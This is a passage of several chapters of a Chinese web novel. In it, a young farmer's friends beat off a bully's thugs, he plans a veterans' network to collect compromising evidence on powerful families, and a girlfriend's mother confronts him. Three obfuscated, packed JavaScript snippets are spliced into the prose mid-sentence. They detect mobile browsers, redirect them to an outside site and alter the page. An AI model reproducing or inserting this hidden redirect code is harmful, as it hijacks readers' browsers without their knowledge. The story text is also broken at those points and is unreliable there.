陈峰，差点把他推个趔趄，他指着莫天扬，唾沫星子乱飞，“**眼瞎啊？这小瘪三敢跟老子抢女人！老子忍他够久了！给脸不要脸的东西，今天非让他知道马王爷有几只眼！你再啰嗦，老子连你这老骨头一起收拾！” 如果说林浩宇带人来糟蹋西瓜、放放狠话，莫天扬还能为了大局强忍下去；如果他们只是打了工人，莫天扬或许还能再周旋一二。但此刻，他们竟然当着他的面，光天化日之下调戏欺辱曹慧——这个在婆家受尽委屈，好不容易在工地上找到一点安稳和尊严的女人！ 这已彻底越过了莫天扬的底线！ 工人背井离乡跟着他干活，他就有责任护他们周全！曹慧的遭遇更是让他感同身受，绝不能再让她在自己眼皮子底下受辱！ “大青！别动！”莫天扬低喝一声，制止了身后蠢蠢欲动、发出低吼的狼青犬。他不再废话，眼神冷冽如冰，竟主动迎着那群狞笑着围上来的混混大步走去！ 王海龙和李国强对视一眼，彼此眼中都闪过一丝惊讶，但随即化为坚定。两人默契地一点头，如同两道影子，瞬间越过莫天扬，后发先至，直接插入了混混群中！ 这群跟着林浩宇耀武扬威的小混混，平日里也就仗着人多欺负老实人，哪里见过真正练家子的手段？王海龙和李国强动作快如闪电，出手干净利落，没有丝毫花哨！拳拳到肉，脚脚生风！ “砰！”“咔嚓！”“哎哟！” 惨叫声、身体砸地的闷响瞬间连成一片！只见王海龙一个干脆的擒拿反关节，惨嚎着倒地；李国强侧身避过砸来的拳头，一记精准的扫腿，直接将两人同时绊飞出去，摔了个狗啃泥！ 莫天扬反倒成了“打酱油”的，他刚冲上前，眼前的混混已经被王李二人秋风扫落叶般放倒了大半！ 这电光火石的一幕，让刚才还嚣张无比的林浩宇惊得眼珠子都快瞪出来了！他张着嘴，难以置信地看着自己带来的十几个“打手”，在短短十几秒内就被两个“农民工”打得东倒西歪，躺在地上哀嚎翻滚！ 陈峰、曹慧以及旁边紧张围观的工人们，则是又惊又喜，看向王海龙和李国强的眼神充满了激动和敬畏！连趴在不远处的大青，看向王李二人的目光也似乎多了一丝不同。 王海龙和李国强显然留了手，对付这群乌合之众并未下死手，只是让他们暂时失去了行动能力。场中很快只剩下林浩宇一个人还站着，脸色煞白，双腿微微发抖。 莫天扬一步步走到林浩宇面前，距离他只有一步之遥。他高大的身影带着一股无形的压迫感，眼神冰冷地俯视着对方，声音低沉却蕴含着火山般的怒意： “林浩宇，我看在刘思雨的面子上，一忍再忍。可你，给脸不要脸，得寸进尺！是不是真以为我们青木村的人，都是任你揉捏的软柿子？今天这事，看在你还没造成不可挽回的后果，到此为止！再有下一次……” 莫天扬的声音陡然一寒，每一个字都像冰锥砸在地上：“……你自己掂量清楚后果！” 林浩宇被莫天扬的气势慑得后退了半步，但随即，巨大的羞辱感淹没了他。他怨毒无比地盯着莫天扬，那张油头粉面的脸因为极致的愤怒而扭曲变形，声音尖厉地嘶吼： “莫天扬！你个乡巴佬！你知道老子是谁吗？你敢动老子的人？**活腻歪了！你给老子等着！老子要你生不如死！你等着！老子绝对让你后悔今天做的事！” 第一百二十三章惊世骇俗的想法 “天扬啊，”陈峰忧心忡忡地劝道，“这种人就像狗皮膏药，黏上就甩不掉，咱们躲着点，忍忍也就过去了。” 莫天扬没有直接反驳，而是抬手指了指不远处那几个脸上还带着红肿的工人，声音低沉却异常坚定：“峰叔，躲？忍？您看看！今天他们敢打我们的工人，敢调戏慧慧姐，明天呢？后天呢？这种人，骨子里就是欺软怕硬的恶犬！光躲着、忍着，只会让他们觉得我们好欺负，得寸进尺！只有把他们打怕了，打疼了，他们才会夹起尾巴，知道什么叫敬畏！” 这番话掷地有声，带着一种陈峰从未在莫天扬身上感受过的狠厉。这些年莫天扬一路走来，确实隐忍居多。可最终呢？换来的是莫老三一家的步步紧逼、赶尽杀绝！若非他最后关头拼死反击，爷孙俩恐怕早已流落街头，生死难料。 那些刻骨铭心的教训，早已让他明白了一个血淋淋的道理：面对毫无底线的恶狼，退让只会被啃噬得尸骨无存。蜕变之后，他骨子里那份“人不犯我，我不犯人；人若犯我，我必犯人”的决绝，在触及底线时便再也无法压抑。 “可……可思雨姑娘说过，这个姓林的背景不简单，不是普通人啊……”陈峰依旧担忧。 莫天扬深吸一口气，目光锐利如刀：“光脚的不怕穿鞋的！怕他什么？他背景再硬，还能硬得过国法？还能一手遮天不成？”这话既是说给陈峰听，也是在坚定自己的信念。 站在不远处的王海龙和李国强，将这番对话一字不漏地听在耳中。两人交换了一个极其复杂的眼神，里面包含着惊讶、赞许，还有一丝不易察觉的忧虑。王海龙深吸一口气，沉声道：“天扬，你过来一下，我们有点事想和你聊聊。” 莫天扬跟着两人走到一片僻静的空地，以为他们是担心牵连，率先开口：“海哥、强哥，你们放心，今天这事是我惹的，绝不会连累到你们身上。” 王海龙摇摇头，目光凝重地扫了一眼远处帐篷下正被人搀扶起来的林浩宇：“天扬，我们不是怕牵连。是担心你。这个林浩宇，看来确实有点门道。明枪易躲，暗箭难防啊！他今天吃了这么大的亏，以他这种睚眦必报的性子，明着来你当然不怕，可如果他玩阴的呢？背后捅刀子，下绊子，甚至……”他没有说下去，但意思不言而喻。 莫天扬的脸色瞬间变得凝重。他不怕正面冲突，但王海龙点出的“暗箭”正是他最担心的软肋。他深知人性的阴暗面，更明白有些所谓的“人”，为了报复可以毫无底线。 “海哥，那你们的意思是……？”莫天扬看向两人，眼神带着询问。 李国强接口道：“林浩宇能有这种嚣张跋扈的资本，背后必然有不小的家世背景。但能养出这种纨绔子弟的家庭，本身恐怕也干净不到哪里去。我们哥俩的意思是……或许，我们可以想办法去摸摸他的底细。如果能掌握一些他们见不得光的把柄，捏在手里。将来万一他们想对你下黑手，这些‘东西’就是你反击的武器，让他们投鼠忌器！” 莫天扬心头猛地一跳！这个提议让他瞬间想起了上次菜地被毁事件。正是因为王海龙他们几个暗中查到了莫栓等人的证据，才最终将其绳之以法！他也清楚，那些所谓的权贵，表面光鲜之下，背地里不知藏着多少龌龊勾当。如果能掌握这些…… 但看着王海龙和李国强郑重的神情，莫天扬没有立刻回答，而是陷入了沉思。王李二人见他沉默不语，神情也严肃起来，彼此对视一眼，眼中掠过一丝无奈和苦笑。他们知道这个提议有些“擦边”，甚至可能触碰某些界限。 就在这时，莫天扬仿佛想到了什么，眼神一亮，突然问道：“海哥，强哥，我记得你们说过，你们有不少退伍的老战友，现在日子都不太好过？做着最苦最累的活儿，拿着最微薄的工资，是吧？” 这突如其来的转折让王海龙和李国强都愣住了，两人面面相觑，完全跟不上莫天扬的思维跳跃。刚才还在说对付林浩宇，怎么突然就扯到战友身上了？ “天扬，你……这是想到什么了？”王海龙一头雾水。 莫天扬没有直接回答，而是指了指不远处的会客室：“走，咱们去会客室坐下说，这里不方便。” 会客室里，莫天扬动作娴熟地沏好一壶茶。随着热水注入，一股独特的、沁人心脾的幽香瞬间弥漫开来，让原本心情沉重的王海龙和李国强都不由自主地深吸了一口气，精神为之一振。 “天扬，你这茶……”李国强惊讶地看着杯中袅袅升起的淡紫色雾气，“太香了！真的是你自己从深山里找到的野茶？” 莫天扬点点头，脸上露出一丝难得的柔和：“嗯，我给这茶取了个名字，叫‘紫烟’。你们觉得怎么样？” “好名字！”王海龙由衷赞道，“雅致，又贴切这茶雾。我们是大老粗，但也觉得这名字极好。”他顿了顿，还是忍不住问道，“不过天扬，你刚才提我们的战友……” 莫天扬收敛了笑容，神情变得异常严肃。他双手撑在桌子上，身体微微前倾，目光灼灼地看着两人：“海哥，强哥，你们看现在这世道。有些人，有了钱，有了势，良心就被狗吃了！就像林浩宇和他背后那些人，仗着权势，为非作歹，欺压良善，视法律和道德如无物！” 王海龙和李国强眉头紧锁，点了点头，但眼中疑惑更深：“这和我们战友有什么关系？” “关系大了！”莫天扬的声音低沉而有力，“你们，还有你们那些战友，都是真正为国家、为人民流过血、拼过命的勇士！你们抛头颅洒热血守护的这片土地和人民，难道就是为了让林浩宇这样的蛀虫和败类来糟蹋的吗？你们甘心吗？” 这句话如同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163801|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重锤，狠狠敲在王海龙和李国强的心上！两人身体同时一震，眼神瞬间变得锐利起来。他们当然不甘心！看到那些蛀虫逍遥法外，比杀了他们还难受！ “所以，”莫天扬直视着两人眼中燃起的火焰，一字一句地说出了他酝酿已久的计划，“我想请你们，还有你们那些可靠的、信得过的战友，过来帮我！不是为了惹事，而是为了自保，为了不让这些**轻易打扰我们想过的清净日子！” 他停顿了一下，让这个信息充分消化，然后继续道：“我的想法是，请你们建立一个……信息网络。不需要主动去招惹谁，但需要一双眼睛，一对耳朵。帮我收集浅驼县，甚至沛川市范围内，那些‘林浩宇式’权贵的资料。重点是——他们那些见不得光的勾当、违法乱纪的证据！我们不需要去碰，只需要知道，并且确保这些‘东西’掌握在我们手里！” 莫天扬的语气斩钉截铁，目光扫过两人：“一旦他们像今天这样，想对我们下黑手、耍阴招，这些我们提前握住的‘底牌’，就是我们反击的利剑！让他们有所顾忌，不敢为所欲为！” 他深吸一口气，神情无比郑重地强调道：“我莫天扬在此保证：第一，这些信息，除非他们主动危害到我或者我的亲人朋友，或者危害到国家利益，否则我绝不会主动泄露或利用去牟取私利！” “第二，我绝不允许任何人利用这些信息去做敲诈勒索、违法犯罪的勾当！我们握在手里的，只能是自卫的盾牌，而不是作恶的凶器！这一点，是铁律！” 莫天扬这番石破天惊的话语，让王海龙和李国强彻底震撼了！他们倒吸一口冷气，脸上写满了难以置信的凝重。这个计划太庞大，太敏感，也太危险了！它触碰到的，是这个社会最阴暗的角落。两人都陷入了长久的沉默，眉头紧锁，时而交换着眼神，进行着无声的激烈交流。会客室里只剩下茶香和沉重的呼吸声。 莫天扬没有催促，他知道这个决定的分量。他静静地起身，推开门走了出去，留给两人足够的思考空间。 足足过了十几分钟，会客室的门才被拉开，王海龙探出头，声音低沉：“天扬，进来吧。” 莫天扬回到室内。王海龙看着他，眼神复杂而坚定：“天扬，我们哥俩刚才商量了很久。你的想法……我们理解，也认同这个‘以正制邪’的道理。这事，我们可以做！但是……” 他语气加重，“这事太大了，牵扯太多。光我们俩点头还不够。我们需要联系几个绝对可靠、信得过的老兄弟，大家一起商量，一起担这个责任！必须确保万无一失！” 莫天扬重重地点头，脸上露出理解的神色：“我明白！找人一定要慎之又慎，必须是真正信得过、靠得住的兄弟！这不仅关乎我们几个，更关乎太多人的生计和安危。我等你们的消息。” 第一百二十四章好男儿当立于世 尽管事情的起因在林浩宇的挑衅，但莫天扬为了护住工人和曹慧，带着王海龙、李国强将林浩宇带来的人打翻在地，这一幕让胡标等村民以及工人们心中激荡不已。 这份激荡里，有对莫天扬仗义出手的感激与激动，但紧随其后的，却是更深沉的忧虑。 谁都看得出来，林浩宇绝非善类，更非普通角色。莫天扬为了他们这些本无多少瓜葛的人挺身而出，不惜得罪这样的狠角色。 若林浩宇日后报复，首当其冲、承受怒火的，必然是莫天扬本人！这份担忧，沉甸甸地压在每个人的心头。 莫啸的房间里，光线有些昏暗。老人端起茶杯，轻轻抿了一口色泽奇异的“紫烟”茶，袅袅茶香似乎也未能驱散他眉宇间的凝重。 他放下茶杯，发出一声悠长的叹息：“天扬啊，你这性子……就不能再忍忍？掰着手指头算算，这才回来几个月，你招惹了多少是非？” 莫天扬坐在爷爷对面，腰背挺直，眼神却异常坚定：“爷爷，那些年咱们爷俩忍得还不够吗？可结果呢？换来的是步步紧逼，是赶尽杀绝！如今，人家都欺负到咱们家门口，骑在咱们头上拉屎了！要是再忍下去，岂不是连阿猫阿狗都敢来踩一脚？以后谁还敢跟着咱们做事？谁还信咱们能护得住他们？” “那你就不怕？”莫啸的目光锐利起来，直视着孙子的眼睛，“那些人的手段，阴险下作，防不胜防！” “怕！当然怕！”莫天扬坦然承认，但语气没有丝毫退缩，“可光怕有什么用？怕就能让他们收手吗？怕就能护得住想护的人吗？既然躲不过，那就只能迎上去，直面他们！” 莫啸沉默了半晌，浑浊的老眼中闪过一丝复杂的光芒，最终缓缓点头，带着一种沉重的认可：“天扬，你长大了。好男儿立于世，不怕惹事，但惹了事，就必须要有解决事、扛住事的能力！要把任何潜在的威胁，都掐灭在它刚冒头的时候！” 他的声音低沉而有力，充满了过来人的沧桑与警示，“你现在，不过才刚刚起步。往后要面对的对手，只会更多、更狡猾、更强大！从现在起，你就得打起十二万分的精神，做好万全的准备！” 晚上，刘思雨风尘仆仆地赶了回来。她几乎第一时间就从颜若曦口中得知了白天那场惊心动魄的冲突。当听到莫天扬为了护住工人和曹慧，竟然带人打了林浩宇的手下时，她的俏脸瞬间失去了血色，神情变得无比凝重。 她顾不得疲惫，径直找到莫天扬，声音里带着焦急和后怕：“天扬！你……你也太冲动了！你知道那个林浩宇是什么背景吗？他背后的水有多深？你怎么能……” 莫天扬看着刘思雨担忧的样子，心头微暖，但态度依旧平静而坚决，他淡淡一笑：“我不管他是什么背景，有多大来头。我只知道，谁要是敢欺负我莫天扬的人，我就一定要让他付出代价！村里的老话说的好，‘舍得一身剐，敢把皇帝拉下马！’我一个光脚的平头百姓，怕他一个穿鞋的纨绔做什么？难道他还能真像旧社会的土匪一样，明目张胆地烧杀抢掠不成？” 说完，他话锋一转，目光带着关切落在刘思雨身上：“倒是你，思雨，才更该小心。林浩宇这种人，就像嗅到血腥味的鬣狗。你千万不能给他任何靠近你、纠缠你的机会！一丝都不能给！” 刘思雨被他这番话说得心头一颤，随即泛起一阵苦涩。她无奈地抬手揉了揉眉心，星眸中满是懊恼和疲惫：“唉……都怪我妈！她连对方是什么底细都没打听清楚，就……”后面的话，她实在说不出口，只觉得一阵无力。 莫天扬理解地摇摇头，语气缓和下来：“这不怪你，你也别太自责。没有你，或许他也会通过别的由头找上门来。这种人，盯上谁，总会找到借口的。” …… 夜深人静。送走了最后一位商议事情的村民，刘思雨和颜若曦房间的灯光也相继熄灭。整片区域陷入一片宁静，只有虫鸣在夜色中低唱。 莫天扬轻轻拍了拍警惕地伏在院中的大青和小白，低声叮嘱了几句。看着两只忠诚的伙伴安静下来，他才转身回到自己那间略显简陋的房间。 反锁上门，关掉灯，黑暗瞬间将他包围。莫天扬没有立刻休息，而是闭上眼，凝神静气。下一刻，他的身影如同水波般在黑暗中微微荡漾，悄无声息地消失在原地。 灵泉空间内。 莫天扬的身影倏然出现在那片出现没有多长时间的土地上。他深深地、贪婪地吸了几口空间里那饱含着浓郁草木清香和淡淡灵韵的空气。 外界紧绷的神经，胸中翻腾的怒意与忧虑，仿佛被这纯净的气息瞬间抚平、涤荡。一股清凉宁静的力量缓缓流淌过四肢百骸，让他躁动的心绪渐渐平复下来。 他环顾四周，看着那些比外界更加青翠欲滴、仿佛蕴藏着无尽活力的植物，长长地、舒缓地呼出了一口气，仿佛要将白日里所有的浊气都排尽。 目光落在那片金灿灿、沉甸甸的谷子地上，莫天扬心中一动。他拿出从外界带过来的的镰刀，迈步走向谷田。 他很好奇，这灵泉空间滋养出的谷物，蒸煮成饭食后，口感与外界那些饱受化肥农药污染的作物相比，究竟会有怎样天差地别？这念头一起，便再也按捺不住。 同时，一个更清晰的计划在他脑海中成型：是时候，该在这片神奇的天地里，用空间孕育出来的种子开辟出更大面积的试验田。 莫天扬在灵泉空间里不知疲倦地劳作着，忘却了时间的流逝。谷子、黍子、小麦、玉米、荞麦……每一种成熟的作物，都被他用镰刀割下了一片。 收获下来的沉甸甸的谷穗、麦穗、玉米棒子，转眼间又化作饱满的种子，被他仔细地撒播在空间里那些相邻的、尚显空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168883|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旷的土地上。 他像一个虔诚的农夫，在这片神奇的土地上，小心翼翼地扩大着他的“试验田”。 当东方天际泛起第一抹朦胧的鱼肚白时，莫天扬的身影才悄然出现在外界。他将空间里采摘的新鲜蔬菜，熟练地投放进菜地和瓜田的角落，让它们自然地融入其中，仿佛本就生长在那里。 瓜田里，莫天扬蹲下身，手指轻轻拂过已经开始泛黄、显出颓势的瓜秧，心头掠过一丝惋惜。西瓜和香瓜的盛产期已过，田里能摘的所剩无几。 可空间里，那些饱满滚圆的西瓜、香气四溢的香瓜，却依旧在蓬勃生长，一茬接着一茬。那可都是实实在在的钱啊！只可惜，它们无法光明正大地出现在世人面前。 “天扬，一个人在这儿感慨什么呢？”胡标的声音从田埂上传来。 莫天扬站起身，拍了拍手上的泥土，指着瓜田道：“标叔，西瓜、香瓜快罢园了，能摘的不多了。回头跟大伙儿说一声，想吃就多摘点尝尝鲜吧，过些日子可就真没得吃了。” 胡标看着那些依旧挂着零星瓜果的藤蔓，感慨万分：“天扬，也就是你了！换了村里任何一个伺候瓜的老把式，这时候瓜秧早就拉秧歇着了。你种出来的瓜，不光味道绝，这挂果期和产量，简直逆了天！要不是被莫栓那帮天杀的祸害掉一半……光靠这片瓜地，今年就能赚不少啊！” 莫天扬闻言哈哈一笑，豁达地说：“标叔，今年这片瓜本就是种给咱自己人解馋的，能额外卖些钱已经是意外之喜了。明年咱们规划好，多种它几亩！” “嗯！”胡标用力点头，随即想起什么，朝远处望瞭望，“对了天扬，刚才瞅见王海龙在收拾行李，他这是要……” “回去看看家里。”莫天扬解释道，“他母亲腿摔断了，他一直守在这里，心里肯定惦记着。人家不回去，咱们也不能不近人情，总得让人家尽尽孝心。” “唉，天扬，你这孩子……心太善了。”胡标由衷地感叹。 莫天扬只是淡淡一笑：“标叔，这边您多照应着点，我去酒坊看看振南他们。” 酒坊里，蒸汽氤氲，酒香弥漫。莫天扬正亲自示范着关键的步骤，手把手地教给胡振南、曹克雄等几个年轻后生。虽然胡振南他们文化程度不高，但都深知这“屠苏”酒的价值和前景，更盼着莫天扬能好。每个人都学得格外专注用心，不敢有丝毫懈怠。 “天扬！天扬！”曹慧的声音带着一丝急促从外面传来，“快出去看看！村里来了两个人，一男一女，看那架势……好像是思雨姑娘的父母！” 莫天扬心头一动，连忙放下手中的活计，离开酒坊快步走向简易房那边走了过去。昨夜刘思雨说起母亲时候的无奈历历在目，昨天他更是让林浩宇在这里丢了面子，这一次刘思雨父母过来肯定不是过来探望女儿，或许是兴师问罪。 第一百二十五章兴师问罪 简易房前。 陈峰、曹建华等几个村民正陪着笑脸，围着一对中年男女说着什么。那男人约莫四十多岁，穿着朴素但干净得体，面容清癯，鼻梁上架着一副眼镜，浑身透着一股温和儒雅的书卷气。 女人则截然不同，穿着明显价值不菲的衣裙，脖子上戴着金项链，手腕上玉镯金表，打扮得珠光宝气。容貌依稀能看出刘思雨的影子，但神情却趾高气扬，看向陈峰等人的眼神里充满了毫不掩饰的轻蔑和不耐烦。 看到莫天扬走过来，陈峰像是看到了救星，赶紧挤出笑容招呼：“天扬来了！天扬来了！有啥话咱去会客室说，那儿清净方便！” 杨丽（刘思雨的母亲）和刘成祥（刘思雨的父亲）闻声转过头来。刘成祥的目光落在莫天扬身上，带着些许打量，但还算平和。 而杨丽的眼神则像刀子一样，在看清莫天扬那身沾着泥土的旧衣服、晒得黝黑的皮肤后，眼底瞬间掠过一抹难以掩饰的厌恶，仿佛看到了什么不洁之物。 “小莫吧？”刘成祥率先开口，脸上带着礼节性的微笑，声音温和，“我是思雨的爸爸，刘成祥。这位是思雨的母亲，杨丽。” 他话音未落，旁边的杨丽猛地转过头，狠狠地剜了刘成祥一眼，压低声音斥道：“不说话没人把你当哑巴！用得着你介绍？”那语气里的嫌弃和不满，毫不客气。 这突如其来的斥责，让莫天扬心头猛地一沉。刘成祥的谈吐文雅有礼，可这位杨阿姨……这与刘思雨身上那种坚韧又带着点疏离的气质，简直判若云泥。 莫天扬压下心头的波澜，面上保持着平静，微微颔首：“刘叔叔，杨阿姨，您们好。刚才在酒坊那边干活，不知道您们过来，怠慢了。请到会客室坐吧。”他随即转向陈峰，“峰叔，麻烦您去摘些新鲜的瓜果过来。” 杨丽却像没听见去会客室的邀请，她皱着眉头，目光扫过陈峰等人，带着明显的不耐烦，直接问道：“思雨呢？她人去哪儿了？” 一旁的曹慧连忙陪着笑脸回答：“杨阿姨，思雨姐刚去大队部办事了。我已经给她打过电话，她说马上回来！” 莫天扬刚将刘成祥、杨丽让进临时会客室落座，曹慧就端着切好的西瓜和香瓜走了进来。刘成祥和杨丽下意识地打量着这个简易的空间，眼底都掠过一丝难以掩饰的惊讶。 这间会客室虽是临时搭建，但沙发、茶几、桌椅一应俱全，更重要的是，室内打扫得异常干净整洁，一尘不染。这在一个他们印象中几近荒芜的村落里，显得格外突兀，完全超出了他们的预期。 “刘叔、杨阿姨，您们先尝尝瓜，我给您们沏茶。”莫天扬说着，走向角落的简易茶台。 听到“沏茶”二字，刘成祥只是微微点头，杨丽却毫不掩饰地撇了撇嘴，脸上写满了不屑，直接切入主题：“莫天扬，茶就免了。我们这次来是为了什么，你应该心知肚明吧？” 莫天扬手上动作一顿，他猜到对方是来兴师问罪，但这话由他口中说出，实在不合适。 就在这时，刘思雨气喘吁吁地从外面冲了进来。看到父母，她立刻急声道：“爸！妈！你们怎么跑这儿来了？！” 杨丽立刻狠狠瞪了刘成祥一眼，刘成祥无奈地朝女儿摇摇头，示意自己也无能为力。这微妙的一幕被莫天扬尽收眼底，他看向刘思雨，刘思雨回以一个尴尬又带着歉意的苦笑。 杨丽不再理会丈夫，转向莫天扬，语气带着居高临下的审视：“莫天扬，我知道你和思雨是高中同学。不过，你心里也得有点数！我家思雨可是名牌大学毕业，现在是端铁饭碗的公务员！别说浅驼县，就是沛川市里，多少家境优渥的青年才俊排着队想跟她交往！” “妈！你在胡说什么呀！”刘思雨顿时俏脸绯红，又羞又恼地嗔怪道。 “我胡说？我这都是为了你好！”杨丽拔高了声调，理直气壮，“浩宇那孩子哪点配不上你？有车有房有好工作，家世在沛川都是这个！” 她竖起大拇指，“你倒好，为了这么个……”她嫌恶地瞥了一眼莫天扬，“……乡巴佬，让浩宇伤心！昨天他更是把浩宇给打了！浩宇他妈今天可发话了，你要是还不答应跟浩宇交往，你爸这次升迁的事儿，就彻底没戏！” 莫天扬眉头紧锁，他虽知林浩宇跋扈，却没想到其家人竟也如此蛮横无理，竟拿刘成祥的前程来胁迫刘思雨就范！ 这下刘思雨彻底被激怒了，她冷着脸，声音像淬了冰：“妈！你到底有没有去打听过那个林浩宇是个什么东西？！**抽五毒俱全！这几年被他祸害的姑娘还少吗？你这到底是为了我好，还是亲手把我往火坑里推？！” “你…你这孩子！怎么不识好歹！”杨丽气得脸色发白，“浩宇他妈亲口跟我保证的，只要你跟浩宇结了婚，他就能收心学好！” 莫天扬看着这剑拔**张的母女争执，知道此刻自己说什么都多余，便不再言语，默默地继续烧水、洗杯、沏茶…… “我宁愿死，也绝不会跟那个纨绔子弟有任何瓜葛！”刘思雨斩钉截铁地说。 眼见女儿油盐不进，杨丽猛地将矛头转向莫天扬的背影，刻薄的话语像刀子一样甩过去。 “莫天扬！你的底细我早就查得一清二楚！穷小子一个！今年不过是走了狗屎运，靠几亩菜地赚了点小钱！就凭你这点家底，你觉得你配得上我女儿？不是我小瞧你，就你这样，一年到头累死累活能赚几个铜板？猴年马月才能在浅驼县城买套像样的楼房？我劝你识相点，趁早离我女儿远点！别做那癞**想吃天鹅肉的白日梦！” “杨丽！你这话太过分了！”一直沉默的刘成祥忍不住开口，“农村种菜怎么了？你我当初不也是从农村出来的？你……” “你给我闭嘴！这里没你说话的份！”杨丽厉声呵斥，刘成祥瞬间像被掐住脖子，讪讪地低下头去。 刘思雨简直要被母亲的势利和颠倒黑白气笑了。是，以前莫天扬家是拮据，可今年她亲眼所见的是另一个莫天扬！他种的蔬菜，那是沛川有钱人都难买到的高端货！光是他一个月开给陈峰他们的工资就将近二十万！这还不算吃喝开销！ “妈，你说莫天扬穷？”刘思雨的声音带着一丝嘲讽。 “不穷怎么会窝在这种鸟不拉屎的穷山沟里？”杨丽嗤之以鼻。 就在这时，一股独特而浓郁的香气在会客室里悄然弥漫开来，带着一种难以言喻的清雅与醇厚。 刘成祥和杨丽几乎是同时嗅到了，两人眼中都流露出明显的诧异。他们家境殷实，杨丽更是热衷于结交权贵，各种名茶喝过不少，但这种奇异非凡、仿佛能沁入心脾的茶香，却是生平第一次闻到！他们实在无法想象，在这样一个“穷山沟”里，竟会出现如此绝品！ 一时间，杨丽看向莫天扬这个“乡巴佬”的眼神里，竟破天荒地生出了一丝好奇。 “刘叔、杨阿姨，请喝茶。”莫天扬将两杯沏好的茶轻轻放在他们面前的茶几上。 当那宛如紫色晶石般剔透、香气四溢的茶水呈现在眼前时，刘成祥和杨丽都愣住了，眼睛直勾勾地盯着茶杯：“这……这是… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168884|177151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 看到父母惊讶的模样，刘思雨心头一喜，带着一丝不易察觉的得意介绍道：“这叫‘紫烟’，是莫天扬自己从山里采的野茶，亲手炒制的！这茶不光香气独特，安神效果特别好，听说还能补气养颜呢！”她顺口就把屠苏酒的一些功效安在了紫烟茶上。 莫天扬扫了刘思雨一眼，心头不由得失笑。印象里严谨的她，此刻竟也学会“张口就来”了。 “这……这真能喝？”杨丽看着那奇异的紫色，还是有些迟疑。 “瞧您说的，我们天天都喝！”刘思雨立刻回道。 刘成祥率先端起茶杯，小心翼翼地抿了一口。茶水入口的瞬间，他眼睛骤然一亮，脸上满是难以置信的惊喜：“杨丽！快尝尝！这茶……这茶绝了！比你朋友送的那些极品铁观音、金骏眉，不知好了多少倍！” 杨丽将信将疑地端起杯子，也轻轻啜了一口。仅仅只是一小口，她就彻底愣在了原地，眼睛瞪得老大，眼神里充满了不敢置信的震撼！那茶汤仿佛拥有魔力，瞬间抚平了她心头的烦躁与戾气。 接下来发生的一幕，让所有人都有些措手不及。杨丽竟一连喝了五杯！直到第五杯下肚，她才意犹未尽地长舒一口气，脸上甚至露出了满足的红晕，由衷地赞叹道：“这茶……真是人间绝品！小莫啊，” 她的语气瞬间变得无比温和，甚至带上了一丝亲昵，“这‘紫烟’……你究竟是从哪里弄到的？”五杯茶下肚，杨丽心中的怨气早已烟消云散，连对莫天扬的称呼都从“乡巴佬”变成了“小莫”。 “杨阿姨，这真是我在青木山里偶然寻到的野茶，自己瞎炒的。您要是喜欢，走的时候给您包一些带上。”莫天扬微笑道。 “真的？！”杨丽脸上顿时露出毫不掩饰的喜色。但这份喜悦刚浮现，她立刻想起了此行的目的，表情瞬间又变得复杂起来。 她深吸一口气，语气带着前所未有的认真，甚至有一丝不易察觉的尴尬：“小莫啊，刚才……是阿姨语气不好，你别往心里去。不过，我们做父母的，说到底都是为了思雨的前程和幸福。你和思雨是同学，有感情基础，这我理解。可是……” 她顿了顿，声音低沉下来，“你们之间的差距，实在太大了。更重要的是，林家在沛川的地位……根深蒂固，没人能撼动。他们要是真想动动手指头，别说思雨的工作，就连她爸……恐怕也……” “阿姨，”莫天扬平静地打断她，语气诚恳，“我们先不说我和思雨之间到底是什么关系。单说林浩宇这个人。这段时间他频繁来村里，他的为人如何，想必您二位也略有耳闻。一个不学无术、劣迹斑斑的纨绔子弟。就算林家能让思雨过上所谓的‘人上人’生活，您们……真的觉得思雨跟着这样的人，能幸福吗？” “可林家……”杨丽刚想反驳，话却卡在了喉咙里，眼神中第一次流露出深深的懊悔，但更多的，还是对林家权势根深蒂固的忌惮。 看到杨丽神情松动，莫天扬继续说道，声音沉稳有力：“您们辛苦半生，不就是为了让思雨过上真正幸福安稳的日子吗？如果那种‘幸福’是建立在牺牲她的尊严、自由和快乐之上，我这个外人看来，倒不如没有。” 这一刻，会客室里陷入了短暂的寂静。刘成祥沉默地低下头，陷入了沉思。杨丽脸上的挣扎之色更浓，她捧着那杯温热的紫烟茶，眼神复杂地看着杯中荡漾的紫色光晕，久久不语。 “天扬，你去弄几个菜，我和我爸妈说会话，”刘思雨轻声开口，打破了沉默。 第一百二十六章意想不到的改变 看着莫天扬从会客室出来，陈峰凑上前，压低声音，脸上带着忧色：“天扬，思雨她爸妈……看样子来者不善呐。” 